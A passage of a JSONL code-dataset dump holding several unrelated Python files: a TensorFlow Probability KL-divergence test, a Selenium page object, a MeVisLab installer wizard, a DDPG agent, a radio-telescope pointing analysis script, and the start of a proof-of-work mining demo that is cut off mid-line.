distribution_lib.FULLY_REPARAMETERIZED)\n self.assertAllClose(exact_kl_gamma_gamma_, approx_kl_gamma_gamma_,\n rtol=0.01, atol=0.)\n\n # Compare gradients. (Not present in `docstring`.)\n gradp = lambda fp: gradients_impl.gradients(fp, concentration_p)[0]\n gradq = lambda fq: gradients_impl.gradients(fq, concentration_q)[0]\n [\n gradp_exact_kl_gamma_gamma_,\n gradq_exact_kl_gamma_gamma_,\n gradp_approx_kl_gamma_gamma_,\n gradq_approx_kl_gamma_gamma_,\n ] = sess.run([\n gradp(exact_kl_gamma_gamma),\n gradq(exact_kl_gamma_gamma),\n gradp(approx_kl_gamma_gamma),\n gradq(approx_kl_gamma_gamma),\n ])\n # Notice that variance (i.e., `rtol`) is higher when using score-trick.\n self.assertAllClose(gradp_exact_kl_gamma_gamma_,\n gradp_approx_kl_gamma_gamma_,\n rtol=0.05, atol=0.)\n self.assertAllClose(gradq_exact_kl_gamma_gamma_,\n gradq_approx_kl_gamma_gamma_,\n rtol=0.03, atol=0.)\n\n\nif __name__ == '__main__':\n test.main()\n","sub_path":"tensorflow_probability/python/tests/monte_carlo_test.py","file_name":"monte_carlo_test.py","file_ext":"py","file_size_in_byte":9207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"272629495","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nfrom tools.text_search import Text\n\n\nclass LeptinShred_Index():\n\n def __init__(self, driver):\n self.driver = driver\n\n def leptin_index_clickhere(self):\n\n #click here button\n clickhereButton = self.driver.find_element(By.ID, \"video-btn\")\n\n print(\"============ Leptin Index Banned words Start ===============\")\n go = Text(self.driver)\n go.bannedWords(self.driver)\n print(\"====== Leptin Index banned words finish ===============\")\n clickhereButton.click()\n\n","sub_path":"automated_funnels/pages/index/leptinSherd_index.py","file_name":"leptinSherd_index.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"411739005","text":"# -----------------------------------------------------------------------\n# \n# Copyright (c) 2001-2013, MeVis Medical Solutions AG, Bremen, Germany\n# ALL RIGHTS RESERVED\n# \n# THIS FILE CONTAINS CONFIDENTIAL AND PROPRIETARY INFORMATION OF MEVIS \n# MEDICAL SOLUTIONS AG. ANY DUPLICATION, MODIFICATION, DISTRIBUTION, OR \n# DISCLOSURE IN ANY FORM, IN WHOLE, OR IN PART, IS STRICTLY PROHIBITED \n# WITHOUT THE PRIOR EXPRESS WRITTEN PERMISSION OF MEVIS MEDICAL SOLUTIONS \n# AG.\n# \n#----------------------------------------------------------------------------------\n#! Standalone Installer Wizard\n#!\n# \\file StandaloneInstallerWizard.py\n# \\author Florian Link\n# \\date 02/2005\n#\n#----------------------------------------------------------------------------------\n\nfrom mevis import *\n\n_step = 0\n\n_titles = [\n \"Welcome\",\n \"General Settings\",\n \"Manual File Lists\",\n \"Application Options\",\n \"Installer Options\"]\n\n_infos = [\n \"Start from an existing macro module\",\n \"General settings for your standalone application\",\n \"Specify additional files that will not be detected by the module dependency analyzer\",\n \"Additional settings for your application\",\n \"Additional installer settings which are not required\"]\n\n# --- Initialization\n\n# Initialize module\ndef InitModule():\n InitFields()\n UpdateCreateEnable()\n\n# Initialize field values\ndef InitFields():\n info = MLAB.priv().licenseInformation()\n if info[\"valid\"]:\n ctx.field(\"licensePath\").setStringValue(info[\"filename\"])\n ctx.field(\"availableMacros\").value = \",\".join(MLAB.allMacroModules())\n\ndef InitWindow():\n global _step\n\n _step = 0\n UpdateTab()\n\ndef ExitWindow():\n pass\n\n\n# --- Field updates\n\n# Update createEnable flag\ndef UpdateCreateEnable():\n moduleName = ctx.field(\"moduleName\").stringValue()\n targetPackage = ctx.field(\"ModuleWizardPackageSelector.valid\").value\n ctx.field(\"createEnable\").setBoolValue(bool(moduleName) and targetPackage)\n\n# Update nextEnable flag\ndef UpdateNextEnable():\n flag = True\n if _step == 0:\n moduleName = ctx.field(\"moduleName\").stringValue()\n targetPackage = ctx.field(\"ModuleWizardPackageSelector.valid\").value\n flag = moduleName and targetPackage\n if _step >= len(_titles)-1:\n flag = False\n ctx.field(\"nextEnable\").value = flag\n\n# Perform \"Next\"\ndef NextStep():\n global _step\n _step += 1\n UpdateTab()\n\n# Perform \"Prev\"\ndef PrevStep():\n global _step\n _step -= 1\n UpdateTab()\n\n# Update tab view item\ndef UpdateTab():\n ctx.controlDebug(\"tab\").selectTabAtIndex(_step)\n ctx.field(\"stepTitle\").value = _titles[_step]\n ctx.field(\"stepInfo\").value = _infos[_step]\n UpdateNextEnable()\n\ndef fv(field):\n return ctx.field(field).value\n\ndef ConvertImage(src, target, type):\n if MLABFileManager.exists(src):\n ok = MLABGraphic.convertImage(src, target)\n if not ok:\n MLAB.showWarning(\"Could not convert \" + type + \" file: \" + src)\n else:\n MLAB.showWarning(\"The \" + type + \" file does not exist: \" + src)\n \n# --- Code creation\n\n# Create code from template list\ndef CreateCode ():\n cmdline = []\n\n if not ctx.field(\"productName\").value:\n ctx.field(\"productName\").value = ctx.field(\"moduleName\").value\n \n iconFileWin32 = fv(\"iconFileWin32\")\n iconFileMac = fv(\"iconFileMac\")\n headerImageWin32 = fv(\"headerImageWin32\")\n dsstoreFileMac = fv(\"dsstoreFileMac\")\n headerImageMac = fv(\"headerImageMac\")\n splashFile = fv(\"splashScreenImage\")\n productName = fv(\"productName\")\n moduleName = fv(\"moduleName\")\n \n package1 = MLABPackageManager.packageByIdentifier(fv(\"packageIdentifier\"))\n if not package1:\n MLAB.logError(\"package \" + fv(\"packageIdentifier\") + \" not found!\")\n return\n targetDir = package1.path() + \"/Configuration/Installers/\" + productName\n ctx.field(\"targetDir\").value = targetDir\n \n modes = {}\n modes[\"MAXIMIZED\"] = \"-showmaximized\"\n modes[\"FULLSCREEN\"] = \"-showfullscreen\"\n modes[\"NORMAL\"] = \"\"\n cmdline.append(modes[fv(\"windowMode\")])\n\n splashTarget = \"\"\n ctx.field(\"copiedSplashScreenImage\").value = \"\"\n splashTarget = targetDir+\"/\"+productName+\"Splash.png\"\n if splashFile:\n ctx.field(\"copiedSplashScreenImage\").value = productName+\"Splash.png\"\n\n if ctx.field(\"diagnosisFlag\").value:\n cmdline.append(\"-diagnosis\")\n \n iconTarget = \"\"\n if iconFileWin32 or iconFileMac:\n iconTarget = targetDir+\"/\"+productName\n ctx.field(\"copiedIconFile\").value = productName\n else:\n ctx.field(\"copiedIconFile\").value = \"\"\n headerTargetWin32 = \"\"\n if headerImageWin32:\n headerTargetWin32 = targetDir+\"/\"+productName+\".bmp\"\n ctx.field(\"copiedHeaderImageWin32\").value = productName+\".bmp\"\n else:\n ctx.field(\"copiedHeaderImageWin32\").value = \"\"\n\n dsstoreTargetMac = \"\"\n if dsstoreFileMac:\n dsstoreTargetMac = targetDir+\"/\"+productName+\".DSStore\"\n ctx.field(\"copiedDSStoreFileMac\").value = productName+\".DSStore\"\n else:\n ctx.field(\"copiedDSStoreFileMac\").value = \"\"\n \n headerTargetMac = \"\"\n if headerImageMac:\n headerTargetMac = targetDir+\"/\"+productName+\".png\"\n ctx.field(\"copiedHeaderImageMac\").value = productName+\".png\"\n else:\n ctx.field(\"copiedHeaderImageMac\").value = \"\"\n\n ctx.field(\"cmdLineArgs\").value = \" \".join(cmdline)\n \n userFileSection1 = \"\"\n if ctx.field(\"assembleInstallerScript\").value:\n userFileSection1 += \"\\n# additional files/commands\\n\"\n userFileSection1 += ctx.field(\"assembleInstallerScript\").value + \"\\n\"\n ctx.field(\"userFileSection\").value = userFileSection1\n\n templateListPath = ctx.field(\"templateListPath\").stringValue()\n CreateCodeFromTemplateList(templateListPath)\n\n # Clean up temporary field\n ctx.field(\"userFileSection\").value = \"\"\n\n\n if iconTarget:\n if iconFileWin32:\n if iconFileWin32.endswith(\".ico\"):\n MLABFileManager.copy(iconFileWin32, iconTarget + \".ico\")\n else:\n ConvertImage(iconFileWin32, iconTarget + \".ico\", \"windows icon\")\n if iconFileMac:\n if iconFileMac.endswith(\".icns\"):\n MLABFileManager.copy(iconFileMac, iconTarget + \".icns\")\n else:\n ConvertImage(iconFileMac, iconTarget + \".icns\", \"mac icon\")\n\n if headerTargetWin32:\n ConvertImage(headerImageWin32, headerTargetWin32, \"windows header image\")\n if dsstoreTargetMac:\n MLABFileManager.copy(dsstoreFileMac, dsstoreTargetMac)\n if headerTargetMac:\n ConvertImage(headerImageMac, headerTargetMac, \"mac header image\")\n if splashFile:\n ConvertImage(splashFile, splashTarget, \"splash image\")\n \n txt = \"All configuration files for your installer have been generated at

\"\n txt += \"\"+ctx.field(\"targetDir\").value+\"

\"\n \n if not MLAB.isMacOS():\n txt += \"Starting the generated batch file \"+ctx.field(\"productName\").value+\".bat will create an installer file named \" + ctx.field(\"productName\").value + \".exe.

\"\n txt += \"You can now click the Create Installer button to run the batch file. \"\n txt += \"Alternatively, you can run the created batch file at a later time or inside of your build system.\"\n \n ctx.field(\"createCodeDialogText\").value = txt\n ctx.showWindow(\"CreateCodeDialog\")\n\ndef CheckModuleName():\n mod = ctx.field(\"moduleName\").value\n moduleInfo = MLAB.moduleInfo(mod)\n if \"type\" in moduleInfo:\n if moduleInfo[\"type\"] != \"MacroModule\":\n MLAB.showWarning(\"The module \"+mod+\" is not a MacroModule!\")\n else:\n MLAB.showWarning(\"The module \"+mod+\" does not exist!\")\n\ndef createInstaller():\n proc = MLAB.newProcess()\n proc.addArgument(MLABFileManager.getExecutable(\"ToolRunner\"))\n proc.addArgument(ctx.field(\"targetDir\").value + \"/\" + ctx.field(\"productName\").value + \".mlinstall\")\n proc.run()\n\ndef checkExternalTools():\n proc = MLAB.newProcess()\n proc.addArgument(MLABFileManager.getExecutable(\"ToolRunner\"))\n proc.addArgument(\"-toolcheck\")\n proc.run()\n\ndef browseOutputDirectory():\n MLAB.openFile(ctx.field(\"targetDir\").value)\n\ndef createApplicationLicense():\n proc = MLAB.newProcess()\n proc.addArgument(MLABFileManager.getExecutable(\"ApplicationLicenseManager\"))\n proc.addArgument(ctx.field(\"targetDir\").value + \"/\" + ctx.field(\"productName\").value + \".mlinstall\")\n proc.run()\n\ndef packageIdentifierChanged(field):\n ident = ctx.field(\"packageIdentifier\").value\n if not MLABPackageManager.packageByIdentifier(ident):\n return\n try:\n group, name = ident.split(\"/\", 1)\n except:\n group = \"\"\n name = \"\"\n if group.startswith(\"FME\"):\n ctx.field(\"licenseFileNeeded\").value = False\n ctx.field(\"defaultStandaloneSetupInclude\").value = \"$(MLAB_FMEwork_General)/Configuration/Installers/Shared/Standalone/defaultFraunhoferMEVISStandaloneSetup.mli\"\n else:\n ctx.field(\"licenseFileNeeded\").value = True\n ctx.field(\"defaultStandaloneSetupInclude\").value = \"$(MLAB_MeVisLab_IDE)/Configuration/Installers/Shared/Standalone/defaultStandaloneSetup.mli\"\n\ndef setMeVisStandaloneLicenseDefault():\n lic = MLAB.variable(\"MLAB_MeVis_Foundation\")+\"/Configuration/Installers/Shared/Core/Resources/MeVisStandaloneApplicationLicense.dat\"\n ctx.field(\"licensePath\").value = lic\n#//# MeVis signature v1\n#//# key: MFowDQYJKoZIhvcNAQEBBQADSQAwRgJBANEfsmYse2e1dRhkQ9AQbreCq9uxwzWLoGom13MNYmyfwoJqQOEXljLFAgw2eEjaT12G4CdqKWhRxh9ANP6n7GMCARE=:VI/mB8bT4u+mRtf/ru8yUQi8BzpaS3UeL2x62YxsUYnVqCWuLrVNLiukIIjnJMKQXlc8ezmgOIcVAV7pgvgKpQ==\n#//# owner: MeVis\n#//# date: 2013-04-10T22:33:03\n#//# hash: RqfeNFYoJy5aAgj+ZegDU2rU3Qwb3pKc2JfPEQNKz8A7Myor+vzZ0ZRnkhN1phSEXhW/DLv3tcwONdVpp1rhgg==\n#//# MeVis end\n","sub_path":"django/static/js/MeVisLab/Private/Modules/Macros/ADK/Wizards/StandaloneInstaller/StandaloneInstallerWizard.py","file_name":"StandaloneInstallerWizard.py","file_ext":"py","file_size_in_byte":9454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298127549","text":"import copy\nimport random\n\nimport numpy as np\nimport torch\nimport torch.optim as optim\n\nfrom model import Actor, Critic\n\nSEED=13\nLR_SCHED_STEP=1000\nLR_SCHED_GAMMA=0.99\nACTOR_LR=3e-3\nCRITIC_LR=4e-4\nTAU=8e-3\nOU_NOISE_THETA=0.9\nOU_NOISE_SIGMA=0.01\n\nclass Agent():\n def __init__(self, num_agents, state_size, action_size):\n random.seed(SEED)\n\n # Configs\n self.state_size = state_size\n self.action_size = action_size\n\n # Actor Network\n self.actor = Actor(state_size, action_size, fc1_units=128, fc2_units=64, seed=SEED)\n self.actor_target = Actor(state_size, action_size, fc1_units=128, fc2_units=64, seed=SEED)\n self.soft_update(self.actor, self.actor_target, 1)\n\n # Critic Network\n self.critic = Critic(state_size, action_size, num_agents, fc1_units=128, fc2_units=64, seed=SEED)\n self.critic_target = Critic(state_size, action_size, num_agents, fc1_units=128, fc2_units=64, seed=SEED)\n self.soft_update(self.critic, self.critic_target, 1)\n\n # Optimizer\n self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=ACTOR_LR)\n self.actor_lr_scheduler = optim.lr_scheduler.StepLR(self.actor_optimizer, step_size=LR_SCHED_STEP, gamma=LR_SCHED_GAMMA)\n self.critic_optimizer = optim.Adam(self.critic.parameters(), lr=CRITIC_LR)\n self.critic_lr_scheduler = optim.lr_scheduler.StepLR(self.critic_optimizer, step_size=LR_SCHED_STEP, gamma=LR_SCHED_GAMMA)\n\n # Initialize a noise process\n self.noise = OUNoise(action_size)\n\n def soft_update(self, local_model, target_model, tau=TAU):\n \"\"\"Soft update model parameters.\n θ_target = τ*θ_local + (1 - τ)*θ_target\n\n Params\n ======\n local_model (PyTorch model): weights will be copied from\n target_model (PyTorch model): weights will be copied to\n tau (float): interpolation parameter \n \"\"\"\n for target_param, local_param in zip(target_model.parameters(), local_model.parameters()):\n target_param.data.copy_(tau*local_param.data + (1.0-tau)*target_param.data)\n\n\n def act(self, state):\n with torch.no_grad():\n self.actor.eval()\n state = torch.from_numpy(state).float()\n action = self.actor(state).data.cpu().numpy()\n self.actor.train()\n\n action += self.noise.sample()\n np.clip(action, a_min=-1, a_max=1, out=action)\n\n return action\n\n def lr_step(self):\n self.actor_lr_scheduler.step()\n self.critic_lr_scheduler.step()\n\n def reset_noise(self):\n self.noise.reset()\n\nclass OUNoise:\n \"\"\"Ornstein-Uhlenbeck process.\"\"\"\n def __init__(self, action_size, mu=0.):\n \"\"\"Initialize parameters and noise process.\"\"\"\n random.seed(SEED)\n self.mu = mu * np.ones(action_size)\n self.reset()\n\n def reset(self):\n \"\"\"Reset the internal state (= noise) to mean (mu).\"\"\"\n self.state = copy.copy(self.mu)\n\n def sample(self):\n \"\"\"Update internal state and return it as a noise sample.\"\"\"\n x = self.state\n random_array = [random.random() for i in range(len(x))]\n dx = OU_NOISE_THETA * (self.mu - x) + OU_NOISE_SIGMA * np.array(random_array)\n self.state = x + dx\n return self.state\n","sub_path":"ddpg_agent.py","file_name":"ddpg_agent.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"122162087","text":"#!/usr/bin/env python3\n\n#----\nimport sys\nsys.path.append('/home/amigos/ros/src/necst/lib')\nimport n2df\nimport numpy\nimport matplotlib.pyplot as plt\nimport pickle\n#from astropy.io import fits\nfrom scipy.optimize import curve_fit\n\n#-----\ndef f(x, a, b, c):\n return a*x**2 + b*x + c\n\ndef gaussian(x, a, mu, gamma):\n return a * numpy.exp(- gamma * (x - mu) **2)\n\ndef calc_integdata(IF, data_list, mode_list, lam, bet, scan_list, mi, ma, width, integ_mi, integ_ma):\n\n data_list = data_list[IF-1]\n mode_list = mode_list[IF-1]\n lam = lam[IF-1]\n bet = bet[IF-1]\n scan_list = scan_list[IF-1]\n \n xmask = []\n ymask = []\n hotmask = []\n offmask = []\n for i in range(len(mode_list)): \n if mode_list[i] == 'HOT':\n xmask.append(0)\n ymask.append(0)\n hotmask.append(1)\n offmask.append(0)\n elif mode_list[i] == 'OFF':\n xmask.append(0)\n ymask.append(0)\n hotmask.append(0)\n offmask.append(1)\n elif scan_list[i] == 1 and mode_list[i] == 'ON':\n xmask.append(1)\n ymask.append(0)\n hotmask.append(0)\n offmask.append(0)\n elif scan_list[i] == 2 and mode_list[i] == 'ON':\n xmask.append(0)\n ymask.append(1)\n hotmask.append(0)\n offmask.append(0)\n \n# calc Ta*\n\n tmp = []\n for i in range(len(hotmask)):\n if hotmask[i] == 1:\n if len(tmp) == 0:\n for j in range(i+1):\n tmp.append(data_list[i])\n else:\n tmp.append(data_list[i])\n else:\n if len(tmp) == 0:\n pass\n else:\n tmp.append(tmp[-1])\n HOTlist = numpy.array(tmp)\n \n tmp = []\n for i in range(len(offmask)):\n if offmask[i] == 1:\n if len(tmp) == 0:\n for j in range(i+1):\n tmp.append(data_list[i])\n else:\n tmp.append(data_list[i])\n else:\n if len(tmp) == 0:\n pass\n else:\n tmp.append(tmp[-1])\n OFFlist = numpy.array(tmp)\n \n ONlist = numpy.array(data_list)\n \n Taslist = (ONlist - OFFlist)/(HOTlist - OFFlist) * 300\n \n x = numpy.linspace(0, 32768, 32768)\n\n rTaslist_tmp = []\n rtmp = []\n for i in range(len(Taslist)):\n base = []\n start = int(numpy.argmax(Taslist[i][int(mi):int(ma)]) + (mi - width))\n end = int(numpy.argmax(Taslist[i][int(mi):int(ma)]) + (mi + width))\n dif = end - start\n base.extend(Taslist[i])\n base[start:end] = []\n param = numpy.polyfit(x[:32768-dif], base, 2)\n rTas = Taslist[i] - f(x, *param)\n rTaslist_tmp.append(rTas)\n rTaslist = numpy.array(rTaslist_tmp)\n \n# create data for plot\n xscan_Ta = []\n xscan_x = []\n xscan_y = []\n \n yscan_Ta = []\n yscan_x = []\n yscan_y = []\n\n for i in range(len(xmask)):\n if xmask[i] == 1:\n xscan_Ta.append(rTaslist[i])\n xscan_x.append(lam[i])\n xscan_y.append(bet[i])\n else:\n pass\n\n for i in range(len(ymask)):\n if ymask[i] == 1:\n yscan_Ta.append(rTaslist[i])\n yscan_x.append(lam[i])\n yscan_y.append(bet[i])\n else:\n pass\n\n # TA* integration\n xscan_integ = []\n yscan_integ = []\n for i in range(len(xscan_Ta)):\n lx = xscan_Ta[i]\n xscan_integ.append(numpy.sum(lx[int(integ_mi):int(integ_ma)]))\n\n for i in range(len(yscan_Ta)):\n ly = yscan_Ta[i]\n yscan_integ.append(numpy.sum(ly[int(integ_mi):int(integ_ma)]))\n\n return xscan_integ, xscan_x, xscan_y, yscan_integ, yscan_x, yscan_y, xscan_Ta, yscan_Ta\n\n\npara_init = numpy.array([25000., 0.1, 0.0001])\n\n #-----\ndef analysis(file_name, mi=10000, ma=30000, width=1000, integ_mi=15500, integ_ma=17500, plot=True, savefig=True, savepath_filename='/home/amigos/latest_obs/pointing_line.png'):\n# open file\n\n n = n2df.Read(file_name) \n _n = n.read_all()\n d = []\n for i in range(25):\n _d = []\n for j in range(len(_n)):\n _d.append(_n[j][i])\n d.append(_d)\n \n# define axis \n time = d[0]\n mode = d[21]\n mode = list(map(lambda x:x.decode() ,mode))\n subscan = d[22]\n _lam = d[23]\n _bet = d[24]\n\n# get integdata / mask\n data_list = []\n mode_list = []\n scan_list = []\n lam = []\n bet = []\n \n for h in range(20):\n d_ = d[h+1]\n d_list = []\n m_list = []\n s_list = []\n la_list = []\n be_list = []\n tmp = numpy.zeros(32768)\n for i in range(len(d_)):\n if subscan[i] == 1 and mode[i] == 'ON':\n tmp += d_[i]\n if subscan[i+1] == 2 or mode[i+1] == 'OFF' or mode[i+1] == 'HOT':\n d_list.append(tmp)\n m_list.append('ON')\n la_list.append(_lam[i])\n be_list.append(_bet[i])\n s_list.append(1)\n tmp = numpy.zeros(32768)\n else:\n pass\n elif subscan[i] == 2 and mode[i] == 'ON':\n tmp += d_[i]\n if subscan[i+1] == 1 or mode[i+1] == 'OFF' or mode[i+1] == 'HOT':\n d_list.append(tmp)\n m_list.append('ON')\n la_list.append(_lam[i])\n be_list.append(_bet[i])\n s_list.append(2)\n tmp = numpy.zeros(32768)\n else:\n pass\n elif mode[i] == 'OFF':\n tmp += d_[i]\n if mode[i+1] == 'ON' or mode[i+1] == 'HOT':\n d_list.append(tmp)\n m_list.append('OFF')\n la_list.append(0)\n be_list.append(0)\n if subscan[i] == 1:\n s_list.append(1)\n else:\n s_list.append(2)\n tmp = numpy.zeros(32768)\n else:\n pass \n elif mode[i] == 'HOT':\n tmp += d_[i]\n if i == len(d_)-1:\n d_list.append(tmp)\n m_list.append('HOT')\n la_list.append(0)\n be_list.append(0)\n if subscan[i] == 1:\n s_list.append(1)\n else:\n s_list.append(2)\n tmp = numpy.zeros(32768)\n else:\n if mode[i+1] == 'ON' or mode[i+1] == 'OFF':\n d_list.append(tmp)\n m_list.append('HOT')\n la_list.append(0)\n be_list.append(0)\n if subscan[i] == 1:\n s_list.append(1)\n else:\n s_list.append(2)\n tmp = numpy.zeros(32768)\n else:\n pass\n else:\n print(\"check\")\n data_list.append(d_list)\n mode_list.append(m_list)\n lam.append(la_list)\n bet.append(be_list)\n scan_list.append(s_list)\n \n ret1 = calc_integdata(1, data_list, mode_list, lam, bet, scan_list, mi, ma, width, integ_mi, integ_ma)\n\n xscan_integ = ret1[0]\n xscan_x = ret1[1]\n xscan_y = ret1[2]\n yscan_integ = ret1[3]\n yscan_x = ret1[4]\n yscan_y = ret1[5]\n xscan_Ta = ret1[6]\n yscan_Ta = ret1[7]\n\n\n# Gaussian Fitting function\n# Az fitting\n try:\n popt_az, pcov_az = curve_fit(gaussian, xscan_x, xscan_integ, p0 = para_init, maxfev=10000)\n error_az = numpy.sqrt(numpy.diag(pcov_az))\n\n x_g = numpy.linspace(xscan_x[0], xscan_x[-1], 1001)\n gaus_az = gaussian(x_g, popt_az[0], popt_az[1], popt_az[2])\n\n# El fitting\n popt_el, pcov_el = curve_fit(gaussian, yscan_y, yscan_integ, p0 = para_init, maxfev=10000)\n error_el = numpy.sqrt(numpy.diag(pcov_el))\n\n gaus_el = gaussian(x_g, popt_el[0], popt_el[1], popt_el[2])\n\n\n# dAz dEl\n dAz = popt_az[1]\n dEl = popt_el[1]\n hpbw_az = 1/numpy.sqrt(2*popt_az[2]) *2.35\n hpbw_el = 1/numpy.sqrt(2*popt_el[2]) *2.35\n\n\n# plot\n\n fig = plt.figure(figsize = (15, 5))\n\n axlist = [fig.add_subplot(1,2,i+1) for i in range(2)]\n\n axlist[0].plot(xscan_x, xscan_integ, \"o\")\n axlist[0].errorbar(xscan_x, xscan_integ, yerr = error_az[0], fmt = \"b+\")\n axlist[0].plot(x_g, gaus_az)\n axlist[0].set_xlabel(\"dAz [arcsec]\")\n axlist[0].set_ylabel(\"Ta* [K]\")\n\n axlist[1].plot(yscan_y, yscan_integ, \"o\")\n axlist[1].errorbar(yscan_y, yscan_integ, yerr = error_el[0], fmt = \"b+\")\n axlist[1].plot(x_g, gaus_el)\n axlist[1].set_xlabel(\"dEl [arcsec]\")\n axlist[1].set_ylabel(\"Ta* [K]\")\n\n [a.grid() for a in axlist]\n\n\n fig2 = plt.figure(figsize = (20,20))\n \n index_max = numpy.argmax(xscan_Ta[2][4000:12000]) + 4000 \n\n lim_mi = int(index_max - 800)\n lim_ma = int(index_max + 800)\n\n axlist = [fig2.add_subplot(5,5,i+1) for i in range(25)]\n\n axlist[2].plot(yscan_Ta[0])\n axlist[2].set_title(\"(0, 60)\")\n axlist[2].set_xlim(lim_mi, lim_ma)\n axlist[2].set_ylim(-10,50)\n\n axlist[7].plot(yscan_Ta[1])\n axlist[7].set_title(\"(0, 30)\")\n axlist[7].set_xlim(lim_mi, lim_ma)\n axlist[7].set_ylim(-10,50)\n\n axlist[10].plot(xscan_Ta[0])\n axlist[10].set_title(\"(-60, 0)\")\n axlist[10].set_xlim(lim_mi, lim_ma)\n axlist[10].set_ylim(-10,50)\n\n axlist[11].plot(xscan_Ta[1])\n axlist[11].set_title(\"(-30, 0)\")\n axlist[11].set_xlim(lim_mi, lim_ma)\n axlist[11].set_ylim(-10,50)\n\n# axlist[12].plot(xscan_Ta[2])\n axlist[12].plot(yscan_Ta[2])\n axlist[12].set_title(\"(0, 0)\")\n axlist[12].set_xlim(lim_mi, lim_ma)\n axlist[12].set_ylim(-10,50)\n\n axlist[13].plot(xscan_Ta[3])\n axlist[13].set_title(\"(30, 0)\")\n axlist[13].set_xlim(lim_mi, lim_ma)\n axlist[13].set_ylim(-10,50)\n\n axlist[14].plot(xscan_Ta[4])\n axlist[14].set_title(\"(60, 0)\")\n axlist[14].set_xlim(lim_mi, lim_ma)\n axlist[14].set_ylim(-10,50)\n\n axlist[17].plot(yscan_Ta[3])\n axlist[17].set_title(\"(0, -30)\")\n axlist[17].set_xlim(lim_mi, lim_ma)\n axlist[17].set_ylim(-10,50)\n\n axlist[22].plot(yscan_Ta[4])\n axlist[22].set_title(\"(0, -60)\")\n axlist[22].set_xlim(lim_mi, lim_ma)\n axlist[22].set_ylim(-10,50)\n\n axlist[0].set_visible(False)\n axlist[1].set_visible(False)\n axlist[3].set_visible(False)\n axlist[4].set_visible(False)\n axlist[5].set_visible(False)\n axlist[6].set_visible(False)\n axlist[8].set_visible(False)\n axlist[9].set_visible(False)\n axlist[15].set_visible(False)\n axlist[16].set_visible(False)\n axlist[18].set_visible(False)\n axlist[19].set_visible(False)\n axlist[20].set_visible(False)\n axlist[21].set_visible(False)\n axlist[23].set_visible(False)\n axlist[24].set_visible(False)\n\n [a.grid() for a in axlist]\n\n plt.axes([0.625,0.25, 0.25, 0.1])\n plt.axis(\"off\")\n #plt.text(0, 0.5, \"OBJECT : {}\".format(hdu[1].data[\"OBJECT\"][0]), fontsize=10)\n plt.text(0,0,\"dAz = {}\".format(round(dAz, 2)) + \" dEl = {}\".format(round(dEl, 2)) + \" (arcsec)\", fontsize = 10)\n plt.text(0,-0.5,\"HPBW_AZ = {}\".format(round(hpbw_az, 2)) + \" HPBW_EL = {}\".format(round(hpbw_el, 2)), fontsize = 10)\n plt.text(0, -1.0, \"DATA PATH : {}\".format(file_name), fontsize=6)\n\n except Exception as e:\n print(\"\\033[31m[ERROR OCCURRED]\\033[0m\\n\", e)\n \n # same as above\n fig2 = plt.figure(figsize = (20,20))\n \n axlist = [fig2.add_subplot(5,5,i+1) for i in range(25)]\n\n axlist[2].plot(yscan_Ta[0])\n axlist[2].set_title(\"(0, 60)\")\n\n axlist[7].plot(yscan_Ta[1])\n axlist[7].set_title(\"(0, 30)\")\n\n axlist[10].plot(xscan_Ta[0])\n axlist[10].set_title(\"(-60, 0)\")\n\n axlist[11].plot(xscan_Ta[1])\n axlist[11].set_title(\"(-30, 0)\")\n\n# axlist[12].plot(xscan_Ta[2])\n axlist[12].plot(yscan_Ta[2])\n axlist[12].set_title(\"(0, 0)\")\n\n axlist[13].plot(xscan_Ta[3])\n axlist[13].set_title(\"(30, 0)\")\n\n axlist[14].plot(xscan_Ta[4])\n axlist[14].set_title(\"(60, 0)\")\n\n axlist[17].plot(yscan_Ta[3])\n axlist[17].set_title(\"(0, -30)\")\n\n axlist[22].plot(yscan_Ta[4])\n axlist[22].set_title(\"(0, -60)\")\n\n axlist[0].set_visible(False)\n axlist[1].set_visible(False)\n axlist[3].set_visible(False)\n axlist[4].set_visible(False)\n axlist[5].set_visible(False)\n axlist[6].set_visible(False)\n axlist[8].set_visible(False)\n axlist[9].set_visible(False)\n axlist[15].set_visible(False)\n axlist[16].set_visible(False)\n axlist[18].set_visible(False)\n axlist[19].set_visible(False)\n axlist[20].set_visible(False)\n axlist[21].set_visible(False)\n axlist[23].set_visible(False)\n axlist[24].set_visible(False)\n\n plt.axes([0.625,0.25, 0.25, 0.1])\n plt.axis(\"off\")\n plt.text(0, 0.5, \"ERROR OCCURRED\", fontsize=10)\n #plt.text(0, 0, \"OBJECT : {}\".format(hdu[1].data[\"OBJECT\"][0]), fontsize=10)\n plt.text(0, -0.5, \"DATA PATH : {}\".format(file_name), fontsize=6)\n\n [a.grid() for a in axlist]\n\n finally:\n if savefig:\n plt.savefig(savepath_filename)\n if plot:\n plt.show()\n else:\n pass\n return\n\nif __name__ == \"__main__\":\n args = sys.argv\n if len(args) < 2:\n print(\"You must specify data_file\")\n sys.exit()\n\n file_name = args[1]\n# option\n# for baseline fitting to avoid spurious \n mi = int(5000)\n ma = int(15000) \n width = int(500)\n# integration range\n integ_mi = int(8000)\n integ_ma = int(9000)\n# specify option\n if len(args) == 7:\n # for baseline fitting to avoid spurious\n if args[2] != \"DEF\":\n mi = int(args[2])\n if args[3] != \"DEF\":\n ma = int(args[3])\n if args[4] != \"DEF\":\n width = int(args[4])\n# integration range\n if args[5] != \"DEF\":\n integ_mi = int(args[5])\n if args[6] != \"DEF\":\n integ_ma = int(args[6])\n else: pass\n \n analysis(file_name, mi, ma, width, integ_mi, integ_ma)\n","sub_path":"lib/pointing_line_xffts.py","file_name":"pointing_line_xffts.py","file_ext":"py","file_size_in_byte":14758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221943478","text":"import hashlib\nimport time\n\ndef get_proof(header, nonce):\n\n preimage = f\"{header}:{nonce}\".encode()\n proof_hex = hashlib.sha256(preimage).hexdigest()\n return int(proof_hex, 16)\n\ndef mine(header, target, nonce):\n while get_proof(header, nonce) >= target:\n nonce = nonce + 1 # new guess\n return nonce\n\ndef mining_demo(header):\n nonce = previous_nonce = -1\n for difficulty_bits in range(1,30):\n target = 